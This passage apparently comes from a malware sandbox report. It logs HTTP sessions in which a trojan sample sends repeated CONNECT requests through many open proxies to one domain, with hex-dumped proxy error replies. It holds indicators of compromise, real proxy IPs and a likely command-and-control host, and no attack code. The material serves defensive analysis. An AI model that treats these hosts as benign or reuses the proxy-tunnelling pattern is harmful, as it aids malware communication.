Feb 23, 2024 14:28:27.438432932 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:27 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
751	192.168.2.8	51988	190.216.234.186	999	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.359864950 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
752	192.168.2.8	52458	104.19.217.219	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.360387087 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.447901964 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:27 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
753	192.168.2.8	52383	211.222.252.187	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.364691973 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
754	192.168.2.8	52464	172.67.36.21	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.367645979 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.455065012 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:27 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
755	192.168.2.8	52478	104.16.107.206	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.377706051 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.466368914 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:27 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
756	192.168.2.8	52386	5.44.42.115	58386	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.385793924 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
757	192.168.2.8	52418	208.87.131.151	37110	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.388318062 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.876061916 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.398183107 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
758	192.168.2.8	52413	51.75.126.150	11802	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.388629913 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.876061916 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
759	192.168.2.8	51203	80.122.170.182	4153	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.396025896 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
760	192.168.2.8	52430	130.162.213.175	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.396867990 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.582233906 CET	1286	IN	HTTP/1.1 500 Internal Server Error Server: squid/6.2-VCS Mime-Version: 1.0 Date: Fri, 23 Feb 2024 13:28:27 GMT Content-Type: text/html;charset=utf-8 Content-Length: 1112 X-Squid-Error: ERR_CANNOT_FORWARD 0 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 45 52 52 5f 43 41 4e 4e 4f 54 5f 46 4f 52 57 41 52 44 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 3e 45 52 52 4f 52 3c 2f 68 31 3e 0a 3c 68 32 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 32 3e 0a 3c 2f 64 69 76 3e 0a 3c 68 72 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 54 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 72 65 74 72 69 65 76 65 20 74 68 65 20 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 0a 3c 62 6c 6f 63 6b 71 75 6f 74 65 20 69 64 3d 22 65 72 72 6f 72 22 3e 0a 3c 70 3e 3c 62 3e 53 68 69 65 6c 64 20 69 73 20 75 6e 61 62 6c 65 20 74 6f 20 66 6f 72 77 61 72 64 20 79 6f 75 72 20 72 65 71 75 65 73 74 20 74 6f 20 74 68 65 20 63 6f 6e 66 69 67 75 72 65 64 20 75 70 73 74 72 65 61 6d 2e 2e 3c 2f 62 3e 3c 2f 70 3e 0a 3c 2f 62 6c 6f 63 6b 71 75 6f 74 65 3e 0a 0a 3c 70 20 69 64 3d 22 73 79 73 6d 73 67 22 3e 54 68 65 20 73 79 73 74 65 6d 20 72 65 74 75 72 6e 65 64 3a 20 3c 69 3e 50 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2e 3c 2f 69 3e 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 68 72 3e 0a 3c 64 69 76 20 69 64 3d 22 66 6f 6f 74 65 72 22 3e 0a 3c 70 3e 47 65 6e 65 72 61 74 65 64 20 46 72 69 2c 20 32 33 20 46 65 62 20 32 30 32 34 20 31 33 3a 32 38 3a 32 37 20 47 4d 54 20 62 79 20 45 72 69 63 6f 6d 20 28 65 73 2d 70 72 6f 78 79 2d 61 75 74 68 29 3c 2f 70 3e 0a 3c 21 2d 2d 20 45 52 52 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... body:lang(fa) { direction: rtl; font-size: 100%; font-family: Tahoma, Roya, sans-serif; float: right; }:lang(he) { direction: rtl; } --></style></head><body id=ERR_CANNOT_FORWARD><div id="titles"><h1>ERROR</h1><h2>The requested URL could not be retrieved</h2></div><hr><div id="content"><p>The following error was encountered while trying to retrieve the URL: <a href="https://heygirlisheeverythingyouwantedinaman.com/">https://heygirlisheeverythingyouwantedinaman.com/</a></p><blockquote id="error"><p><b>Shield is unable to forward your request to the configured upstream..</b></p></blockquote><p id="sysmsg">The system returned: <i>Please try again later.</i></p><br></div><hr><div id="footer"><p>Generated Fri, 23 Feb 2024 13:28:27 GMT by Ericom (es-proxy-auth)</p>... ERR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
761	192.168.2.8	51948	102.68.128.217	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.405781984 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.491786003 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.382057905 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
762	192.168.2.8	52397	103.146.137.9	1081	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.408415079 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
763	192.168.2.8	52482	172.65.165.93	30000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.428112030 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
764	192.168.2.8	52588	103.18.46.250	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.431258917 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
765	192.168.2.8	52390	43.132.212.77	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.431962967 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
766	192.168.2.8	52440	45.128.133.225	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.432936907 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
767	192.168.2.8	52592	103.18.46.250	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.432938099 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
768	192.168.2.8	52594	103.18.46.250	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.434418917 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
769	192.168.2.8	52599	103.18.46.250	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.436012030 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
770	192.168.2.8	52453	79.143.187.58	17905	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.446238041 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.991647959 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.695003033 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.788969994 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.882636070 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.992157936 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.195050955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
771	192.168.2.8	52495	172.67.255.224	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.446609974 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.534451962 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:27 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
772	192.168.2.8	52434	185.219.133.106	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.446990967 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.990434885 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Fri, 23 Feb 2024 13:28:27 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
773	192.168.2.8	52399	203.74.125.18	8888	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.447398901 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
774	192.168.2.8	52431	45.11.95.165	6008	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.454488993 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.991818905 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.695065022 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.139791965 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.898175001 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
775	192.168.2.8	52457	109.247.104.237	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.463222980 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.647331953 CET	310	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Fri, 23 Feb 2024 13:28:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
776	192.168.2.8	52398	39.99.144.43	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.466268063 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
777	192.168.2.8	51223	188.121.147.18	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.466938019 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
778	192.168.2.8	51161	79.137.204.161	32862	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
